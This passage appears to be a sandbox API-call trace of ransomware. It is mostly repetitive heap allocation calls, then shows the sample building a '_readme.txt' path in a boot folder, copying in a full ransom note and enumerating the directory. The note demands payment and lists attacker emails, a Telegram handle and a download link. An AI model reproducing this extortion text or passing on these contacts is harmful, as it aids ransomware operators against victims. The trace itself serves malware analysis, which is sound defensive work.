hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.237] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.237] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0266.237] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.237] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.237] PathFindFileNameW (pszPath="") returned="" [0266.237] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.238] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.238] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.238] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.238] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0266.238] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.238] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0266.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.239] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.239] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.239] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.240] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, 